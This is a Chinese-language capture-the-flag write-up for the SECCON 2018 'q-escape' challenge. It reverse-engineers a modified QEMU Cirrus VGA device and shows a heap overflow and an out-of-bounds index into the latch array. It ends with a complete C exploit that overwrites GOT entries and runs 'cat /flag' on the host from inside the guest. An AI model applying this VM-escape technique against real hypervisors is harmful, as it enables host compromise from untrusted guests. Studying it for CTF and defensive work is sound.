许久没有更新,前段时间一直考试所以一直拖着了。
设备分析 首先看看开了什么保护
1 2 3 4 5 6 7 8 ➜ q-escape checksec --file=./qemu-system-x86_64 [*] '/media/psf/Home/Documents/pwn/qemu_escape/q-escape/qemu-system-x86_64' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
没有开启PIE
1 2 3 4 5 6 7 8 9 10 11 #!/bin/sh ./qemu-system-x86_64 \ -m 64 \ -initrd ./initramfs.igz \ -kernel ./vmlinuz-4.15.0-36-generic \ -append "priority=low console=ttyS0" \ -nographic \ -L ./pc-bios \ -vga std \ -device cydf-vga \ -monitor telnet:127.0.0.1:2222,server,nowait
设备名为cydf-vga
并且允许连接。
将qemu-system-x86_64拖入ida中,查找与设备cydf-vga相关的函数。
先分析cydf_vga_class_init初始化函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void __fastcall cydf_vga_class_init (ObjectClass_0 *klass, void *data) { PCIDeviceClass *v2; PCIDeviceClass *v3; v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert( klass, "device" , "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c" , 3223 , "cydf_vga_class_init" ); v3 = (PCIDeviceClass *)object_class_dynamic_cast_assert( klass, "pci-device" , "/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c" , 3224 , "cydf_vga_class_init" ); v3->realize = pci_cydf_vga_realize; v3->romfile = "vgabios-cydf.bin" ; v3->vendor_id = 0x1013 ; v3->device_id = 0xB8 ; v3->class_id = 0x300 ; v2->parent_class.desc = "Cydf CLGD 54xx VGA" ; v2->parent_class.categories[0 ] |= 0x20 uLL; v2->parent_class.vmsd = &vmstate_pci_cydf_vga; v2->parent_class.props = pci_vga_cydf_properties; v2->parent_class.hotpluggable = 0 ; }
可以看到device_id
为0xB8,vendor_id
为0x1013,class_id
为0x300。并且可以看到父类的描述为Cydf CLGD 54xx VGA
。合理猜测是根据原本的改的。
1 2 3 4 5 6 7 ➜ display git:(master) grep -r 'CLGD 54xx VGA' ./ ./cirrus_vga_rop.h: * QEMU Cirrus CLGD 54xx VGA Emulator. ./cirrus_vga_isa.c: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support ./cirrus_vga_internal.h: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support ./cirrus_vga_rop2.h: * QEMU Cirrus CLGD 54xx VGA Emulator. ./cirrus_vga.c: * QEMU Cirrus CLGD 54xx VGA Emulator. ./cirrus_vga.c: dc->desc = "Cirrus CLGD 54xx VGA" ;
事实也是这样的。
1 2 3 4 5 6 7 8 / 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 00:01.0 Class 0601: 8086:7000 00:04.0 Class 0300: 1013:00b8 <-- cydf_vga
1 2 3 4 5 6 7 8 9 10 11 12 13 14 / 0x00000000fa000000 0x00000000fbffffff 0x0000000000042208 0x00000000febc1000 0x00000000febc1fff 0x0000000000040200 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x00000000febb0000 0x00000000febbffff 0x0000000000046200 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
通过这里可以看到三个mmio空间。通过交叉引用,可以找到哪里注册了IO
1 2 3 memory_region_init_io(&s->cydf_vga_io, owner, &cydf_vga_io_ops, s, "cydf-io" , 0x30 uLL); memory_region_init_io(&s->low_mem, owner, &cydf_vga_mem_ops, s, "cydf-low-memory" , 0x20000 uLL); memory_region_init_io(&s->cydf_mmio_io, owner, &cydf_mmio_io_ops, s, "cydf-mmio" , 0x1000 uLL);
这里关注与cydf相关的空间注册,根据大小来看第一个就是pmio,只不过在resource文件内没有范围
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 / 0000-0cf7 : PCI Bus 0000:00 0000-001f : dma1 0020-0021 : pic1 0040-0043 : timer0 0050-0053 : timer1 0060-0060 : keyboard 0064-0064 : keyboard 0070-0071 : rtc0 0080-008f : dma page reg 00a0-00a1 : pic2 00c0-00df : dma2 00f0-00ff : fpu 0170-0177 : 0000:00:01.1 0170-0177 : ata_piix 01f0-01f7 : 0000:00:01.1 01f0-01f7 : ata_piix 0376-0376 : 0000:00:01.1 0376-0376 : ata_piix 03c0-03df : vga+ 03f6-03f6 : 0000:00:01.1 03f6-03f6 : ata_piix 03f8-03ff : serial 0510-051b : QEMU0002:00 0600-063f : 0000:00:01.3 0600-0603 : ACPI PM1a_EVT_BLK 0604-0605 : ACPI PM1a_CNT_BLK 0608-060b : ACPI PM_TMR 0700-070f : 0000:00:01.3 0cf8-0cff : PCI conf1 0d00-ffff : PCI Bus 0000:00 afe0-afe3 : ACPI GPE0_BLK c000-c03f : 0000:00:03.0 c040-c04f : 0000:00:01.1 c040-c04f : ata_piix
可以看到这里存在一个大小刚好为0x30的vga+的端口范围。
根据定义的函数来看我们还需要找到vga的映射空间,通过这篇文章vgamem 可以得知vga的映射空间为000a0000-000bffff
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 / 00000000-00000fff : Reserved 00001000-0009fbff : System RAM 0009fc00-0009ffff : Reserved 000a0000-000bffff : PCI Bus 0000:00 000c0000-000c97ff : Video ROM 000c9800-000ca5ff : Adapter ROM 000ca800-000cadff : Adapter ROM 000f0000-000fffff : Reserved 000f0000-000fffff : System ROM 00100000-03fdffff : System RAM 01000000-01c031d0 : Kernel code 01c031d1-0266a03f : Kernel data 028e2000-02b3dfff : Kernel bss 03fe0000-03ffffff : Reserved 04000000-febfffff : PCI Bus 0000:00 fa000000-fbffffff : 0000:00:04.0 fc000000-fcffffff : 0000:00:02.0 feb40000-feb7ffff : 0000:00:03.0 feb80000-feb9ffff : 0000:00:03.0 febb0000-febbffff : 0000:00:04.0 febc0000-febc0fff : 0000:00:02.0 febc1000-febc1fff : 0000:00:04.0 fec00000-fec003ff : IOAPIC 0 fed00000-fed003ff : HPET 0 fed00000-fed003ff : PNP0103:00 fee00000-fee00fff : Local APIC fffc0000-ffffffff : Reserved 100000000-17fffffff : PCI Bus 0000:00
通过注册的大小和所看到的其实地址可以确定是这里000a0000-000bffff : PCI Bus 0000:00
。
并且在源码中也有
可以看到vga_mem
空间在resource文件中并不存在,所以无法像前面一道题一样使用resource0文件去访问内存了。这时我们可以利用/dev/mem
文件,dev/mem
是物理内存的全映像,可以用来访问物理内存,用mmap来访问物理内存以及外设的IO资源,是实现用户空间驱动的一种方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 system( "mknod -m 660 /dev/mem c 1 1" ); int fd = open( "/dev/mem" , O_RDWR | O_SYNC );if ( fd == -1 ) { return 0 ; } mmio_mem = mmap( NULL , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xfebc1000 ); if ( !mmio_mem ) { die("mmap mmio failed" ); } vga_mem = mmap( NULL , 0x20000 , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xa0000 ); if ( !vga_mem ) { die("mmap vga mem failed" ); }
函数分析 根据上一道题的流程来看,这里需要分析分析结构体了。
在对比两个结构体的结果发现了源文件中不存在VulnState_0 vs[16];uint32_t latch[4];
这样两个属性。并且还明显的说了是VulnState_0
。通过源码对比发现,源码中考虑地址的情况只有addr < 0x10000
,addr >= 0x18000 && addr < 0x18100
但是这里存在一个新的,也就是大于0x18100
的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 v5 = opaque->vga.sr[0xCC ] % 5u ; if ( *(_WORD *)&opaque->vga.sr[0xCD ] ) LODWORD(mem_value) = (opaque->vga.sr[0xCD ] << 16 ) | (opaque->vga.sr[0xCE ] << 8 ) | mem_value; if ( v5 == 2 ){ v21 = BYTE2(mem_value); if ( v21 <= 0x10 && opaque->vs[v21].buf ) __printf_chk(1LL ); } else { if ( v5 <= 2u ) { if ( v5 == 1 ) { if ( BYTE2(mem_value) > 0x10 uLL ) return ; v6 = (char *)opaque + 16 * BYTE2(mem_value); v7 = *((_QWORD *)v6 + 0x267B ); if ( !v7 ) return ; v8 = *((unsigned int *)v6 + 0x4CF9 ); if ( (unsigned int )v8 >= *((_DWORD *)v6 + 0x4CF8 ) ) return ; LABEL_26: *((_DWORD *)v6 + 0x4CF9 ) = v8 + 1 ; *(_BYTE *)(v7 + v8) = mem_value; return ; } goto LABEL_35; } if ( v5 != 3 ) { if ( v5 == 4 ) { if ( BYTE2(mem_value) > 0x10 uLL ) return ; v6 = (char *)opaque + 16 * BYTE2(mem_value); v7 = *((_QWORD *)v6 + 0x267B ); if ( !v7 ) return ; v8 = *((unsigned int *)v6 + 19705 ); if ( (unsigned int )v8 > 0xFFF ) return ; goto LABEL_26; } LABEL_35: v17 = vulncnt; if ( vulncnt <= 0x10 && (unsigned __int16)mem_value <= 0x1000 uLL ) { mem_valuea = mem_value; v18 = malloc ((unsigned __int16)mem_value); v19 = (char *)opaque + 16 * v17; *((_QWORD *)v19 + 9851 ) = v18; if ( v18 ) { vulncnt = v17 + 1 ; *((_DWORD *)v19 + 19704 ) = mem_valuea; } } return ; } if ( BYTE2(mem_value) <= 0x10 uLL ) { v20 = (char *)opaque + 16 * BYTE2(mem_value); if ( *((_QWORD *)v20 + 9851 ) ) { if ( (unsigned __int16)mem_value <= 0x1000 u ) *((_QWORD *)v20 + 9852 ) = (unsigned __int16)mem_value; } } }
逆向之后会发现这里其实就是一个堆题,总共有五个选项
1 2 3 4 5 v5==0 时,opaque->vs[idx].buf = malloc (mem_value & 0xfff ); max_size == mem_value & 0xfff v5==1 时,当cur_size < max_size时,opaque->vs[idx].buf[cur_size++] = mem_value & 0xff v5==2 时,printf_chk(1 , opaque->vs[idx].buf) v5==3 时,opaque->vs[idx].max_size = mem_value & 0xfff v5==4 时,opaque->vs[idx].buf[cur_size++] = mem_value & 0xff
需要吐槽的是,这两次汇编语言表达的意思一样但是表达的形式不一样,所以莫名其妙的需要依靠汇编来逆向。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 .text:000000000068F521 48 81 C2 3D 13 00 00 add rdx, 133Dh .text:000000000068F528 48 C1 E2 04 shl rdx, 4 .text:000000000068F52C 48 8B 74 13 08 mov rsi, [s+rdx+8] .text:000000000068F531 48 85 F6 test rsi, rsi .text:000000000068F534 0F 84 24 FD FF FF jz loc_68F25E .text:000000000068F534 .text:000000000068F53A 48 83 C4 18 add rsp, 18h .text:000000000068F53E BF 01 00 00 00 mov edi, 1 .text:000000000068F543 31 C0 xor eax, eax .text:000000000068F545 5B pop s .text:000000000068F546 5D pop rbp .text:000000000068F547 E9 F4 99 D7 FF jmp ___printf_chk ······ .text:000000000068F47B 48 89 E9 mov rcx, rbp .text:000000000068F47E 48 C1 E1 04 shl rcx, 4 .text:000000000068F482 48 01 CB add s, rcx .text:000000000068F485 48 85 C0 test rax, rax .text:000000000068F488 48 89 83 D8 33 01 00 mov [rbx+133D8h], rax .text:000000000068F48F 0F 84 C9 FD FF FF jz loc_68F25E .text:000000000068F48F .text:000000000068F495 48 8B 54 24 08 mov rdx, qword ptr [rsp+28h+chunk_size] .text:000000000068F49A 48 83 C5 01 add rbp, 1 .text:000000000068F49E 48 89 2D 3B A0 A3 00 mov cs:vulncnt, rbp .text:000000000068F4A5 81 E2 FF FF 00 00 and edx, 0FFFFh .text:000000000068F4AB 89 93 E0 33 01 00 mov [rbx+133E0h], edx .text:000000000068F4B1 E9 A8 FD FF FF jmp loc_68F25E
上面可以看到漏洞点是v5 == 4
时,对cur_size
没有检测,可以实现堆溢出,当然我感觉三可以修改最大size配合二也是可以实现堆溢出,但是直接用四即可实现所以也没必要再去搞三二了。
再就是存在一个大的问题就是,上面所有对idx的验证就是小于等于16,所以这一出也就导致我们可以溢出到下一个成员latch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 uint64_t __fastcall cydf_vga_mem_read (CydfVGAState *opaque, hwaddr addr, uint32_t size) { uint32_t v3; bool v4; uint64_t result; char *v6; unsigned int v7; unsigned int v8; v3 = opaque->latch[0 ]; if ( !(_WORD)v3 ) { v4 = (opaque->vga.sr[7 ] & 1 ) == 0 ; opaque->latch[0 ] = addr | v3; if ( !v4 ) goto LABEL_3; return vga_mem_readb(&opaque->vga, addr); } v4 = (opaque->vga.sr[7 ] & 1 ) == 0 ; opaque->latch[0 ] = (_DWORD)addr << 16 ; if ( v4 ) return vga_mem_readb(&opaque->vga, addr); LABEL_3: if ( addr > 0xFFFF ) { result = 255LL ; if ( addr - 0x18000 <= 0xFF && (opaque->vga.sr[23 ] & 0x44 ) == 4 ) return cydf_mmio_blt_read(opaque, (unsigned __int8)addr); } else { result = 0xFF LL; v6 = (char *)opaque + 4 * (addr >> 15 ); v7 = addr & 0x7FFF ; if ( v7 < *((_DWORD *)v6 + 0x44D5 ) ) { v8 = *((_DWORD *)v6 + 0x44D3 ) + v7; if ( (opaque->vga.gr[11 ] & 0x14 ) == 20 ) { v8 *= 16 ; } else if ( (opaque->vga.gr[11 ] & 2 ) != 0 ) { v8 *= 8 ; } return opaque->vga.vram_ptr[opaque->cydf_addr_mask & v8]; } } return result; }
而在这个函数中其实是可以控制latch[0]
的值的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 switch ( (char )sr_index ){ case 0 : case 1 : case 2 : case 3 : case 4 : opaque->vga.sr[(unsigned __int8)sr_index] = sr_mask[(unsigned __int8)sr_index] & v4; if ( (_BYTE)sr_index == 1 ) goto LABEL_35; break ; case 6 : opaque->vga.sr[6 ] = 3 * ((v4 & 0x17 ) == 18 ) + 15 ; break ; case 7 : cydf_update_memory_access(opaque); sr_index = opaque->vga.sr_index; goto LABEL_28; case 8 : case 9 : case 0xA : case 0xB : case 0xC : case 0xD : case 0xE : case 0xF : case 0x13 : case 0x14 : case 0x15 : case 0x16 : case 0x18 : case 0x19 : case 0x1A : case 0x1B : case 0x1C : case 0x1D : case 0x1E : case 0x1F : case 0xCC : case 0xCD : case 0xCE : LABEL_28: opaque->vga.sr[sr_index] = v4; break ; }
而在这里我们正好可以控制opaque->vga.sr[0xCC]
的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 int qemu_log (const char *fmt, ...) { __int64 v1; __int64 v2; __int64 v3; __int64 v4; __int64 v5; int ret; gcc_va_list va; unsigned __int64 v9; __int64 v10; __int64 v11; __int64 v12; __int64 v13; __int64 v14; va_start(va, fmt); v3 = va_arg(va, _QWORD); v1 = va_arg(va, _QWORD); v2 = va_arg(va, _QWORD); v4 = va_arg(va, _QWORD); v5 = va_arg(va, _QWORD); va_end(va); v10 = v3; v11 = v1; v12 = v2; v13 = v4; v14 = v5; v9 = __readfsqword(0x28 u); ret = 0 ; if ( qemu_logfile ) { va_start(va, fmt); va_arg(va, _QWORD); va_arg(va, _QWORD); va_arg(va, _QWORD); va_arg(va, _QWORD); va_arg(va, _QWORD); ret = vfprintf (qemu_logfile, fmt, va); if ( ret < 0 ) return 0 ; } return ret; }
在qemu_log
函数中,存在一个vfprintf
函数调用了bss上的一个变量qemu_logfile
。那么利用思路如下:
修改qemu_logfile的内容为cat /flag
修改vfprintf函数的got表为system
修改printf_chk函数的got表为qemu_log
最后让v5等于2,触发printf_chk
漏洞利用 先吐槽一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 switch ( addr ) { case 4uLL: case 0x24uLL: opaque->vga.cr_index = value; break ; case 5uLL: case 0x25uLL: cr_index = opaque->vga.cr_index; if ( (unsigned __int8)cr_index <= 0x18u ) { if ( (opaque->vga.cr[17] & 0x80u) == 0 || (unsigned __int8)cr_index > 7u ) { opaque->vga.cr[(unsigned __int8)cr_index] = value; if ( (_BYTE)cr_index != 24 && ((1LL << cr_index) & 0x8200F1) != 0 ) LABEL_35: opaque->vga.update_retrace_info((VGACommonState *)opaque); } else if ( (_BYTE)cr_index == 7 ) { opaque->vga.cr[7] = value & 0x10 | opaque->vga.cr[7] & 0xEF; } } else if ( (unsigned __int8)cr_index <= 0x1Du ) { opaque->vga.cr[cr_index] = value; } break ; case 0xAuLL: case 0x2AuLL: opaque->vga.fcr = value & 0x10; break ; case 0x10uLL: ar_flip_flop = opaque->vga.ar_flip_flop; if ( ar_flip_flop ) { v13 = opaque->vga.ar_index & 0x1F; switch ( opaque->vga.ar_index & 0x1F ) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: case 9: case 0xA: case 0xB: case 0xC: case 0xD: case 0xE: case 0xF: case 0x12: opaque->vga.ar[v13] = value & 0x3F; break ; case 0x10: opaque->vga.ar[v13] = value & 0xEF; break ; case 0x11: goto LABEL_42; case 0x13: case 0x14: LOBYTE(value) = value & 0xF; LABEL_42: opaque->vga.ar[v13] = value; break ; default: break ; } } else { opaque->vga.ar_index = value & 0x3F; } opaque->vga.ar_flip_flop = ar_flip_flop ^ 1; break ; case 0x12uLL: opaque->vga.msr = value & 0xEF; opaque->vga.update_retrace_info((VGACommonState *)opaque); break ; case 0x14uLL: opaque->vga.sr_index = value; break ; ... ... }
着狗屎ida翻译的是0x14
1 2 3 4 5 6 .text:000000000068F5F6 48 81 EB B4 03 00 00 sub addr, 3B4h ; switch 39 cases .text:000000000068F5FD 48 83 FB 26 cmp rbx, 26h .text:000000000068F601 77 C1 ja short def_68F603 ; jumptable 000000000068F603 default case, cases 950-953,955-959,961,963,970-973,976-979,982-985 .text:000000000068F601 ; jumptable 000000000068F792 default case, cases 5,32-47,50-79,82-111,114-143,146-175,178-203,207,210-239 .text:000000000068F601 .text:000000000068F603 FF 24 DD 78 8E A9 00 jmp ds:jpt_68F603[rbx*8] ; switch jump
在这里是减去0x3B4
但是这里真正需要的是0x10,又一次翻译错误。
忽略这些小错误之后直接编写exp即可
综上,可得exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) void die (const char *msg) { perror(msg); exit (-1 ); } size_t va2pa (void *addr) { uint64_t data; int fd = open("/proc/self/pagemap" , O_RDONLY); if (!fd) { perror("open pagemap" ); return 0 ; } size_t offset = ((uintptr_t )addr / PAGE_SIZE) * sizeof (uint64_t ); if (lseek(fd, offset, SEEK_SET) < 0 ) { puts ("lseek" ); close(fd); return 0 ; } if (read(fd, &data, 8 ) != 8 ) { puts ("read" ); close(fd); return 0 ; } if (!(data & (((uint64_t )1 << 63 )))) { puts ("page" ); close(fd); return 0 ; } size_t pageframenum = data & ((1ull << 55 ) - 1 ); size_t phyaddr = pageframenum * PAGE_SIZE + (uintptr_t )addr % PAGE_SIZE; close(fd); return phyaddr; } uint32_t vga_addr = 0xa0000 ;uint32_t vga_size = 0x20000 ;unsigned char *mmio_mem;unsigned char *vga_mem;void set_sr (unsigned int idx, unsigned int val) { outb(idx, 0x3c4 ); outb(val, 0x3c5 ); } void vga_mem_write (uint32_t addr, uint8_t value) { *((uint8_t *)(vga_mem + addr)) = value; } void set_latch (uint32_t value) { char a; a = vga_mem[(value >> 16 ) & 0xffff ]; write(1 , &a, 1 ); a = vga_mem[value & 0xffff ]; write(1 , &a, 1 ); } int main () { system("mknod -m 660 /dev/mem c 1 1" ); int fd = open("/dev/mem" , O_RDWR | O_SYNC); if (fd == -1 ) { return 0 ; } vga_mem = mmap(NULL , vga_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, vga_addr); if (!vga_mem) { die("mmap vga mem failed" ); } if (ioperm(0x3b0 , 0x30 , 1 ) == -1 ) { die("cannot ioperm" ); } set_sr(7 , 1 ); set_sr(0xcc , 4 ); set_sr(0xcd , 0x10 ); unsigned long long int bss = 0x109e000 + 0x500 ; unsigned long long int qemu_logfile = 0x10CCBE0 ; unsigned long long int vfprintf_got = 0xee7bb0 ; unsigned long long int system_plt = 0x409dd0 ; unsigned long long int printf_chk_got = 0xee7028 ; unsigned long long int qemu_log = 0x9726E8 ; char cat_flag[] = "cat /flag" ; char a; char *payload; int cur_size = 0 ; a = vga_mem[1 ]; write(1 , &a, 1 ); set_latch(bss); for (int i = 0 ; i < 9 ; i++) { write(1 , &cat_flag[i], 1 ); vga_mem_write(0x18100 , cat_flag[i]); } cur_size += 9 ; set_latch(qemu_logfile - cur_size); payload = (char *)&bss; for (int i = 0 ; i < 8 ; i++) { write(1 , &payload[i], 1 ); vga_mem_write(0x18100 , payload[i]); } cur_size += 8 ; set_latch(vfprintf_got - cur_size); payload = (char *)&system_plt; for (int i = 0 ; i < 8 ; i++) { write(1 , &payload[i], 1 ); vga_mem_write(0x18100 , payload[i]); } cur_size += 8 ; set_latch(printf_chk_got - cur_size); payload = (char *)&qemu_log; for (int i = 0 ; i < 8 ; i++) { write(1 , &payload[i], 1 ); vga_mem_write(0x18100 , payload[i]); } cur_size += 8 ; set_sr(0xcc , 2 ); vga_mem_write(0x18100 , 1 ); return 0 ; }
参考链接: https://www.anquanke.com/post/id/224199#h3-11 https://devcraft.io/2018/11/22/q-escape-seccon-2018.html https://github.com/qemu/qemu/blob/master/hw/display/cirrus_vga.c#L2004 https://github.com/qemu/qemu/blob/master/hw/display/cirrus_vga_internal.h 题目链接: https://github.com/196082/196082/blob/main/qemu_escape/q-escape.zip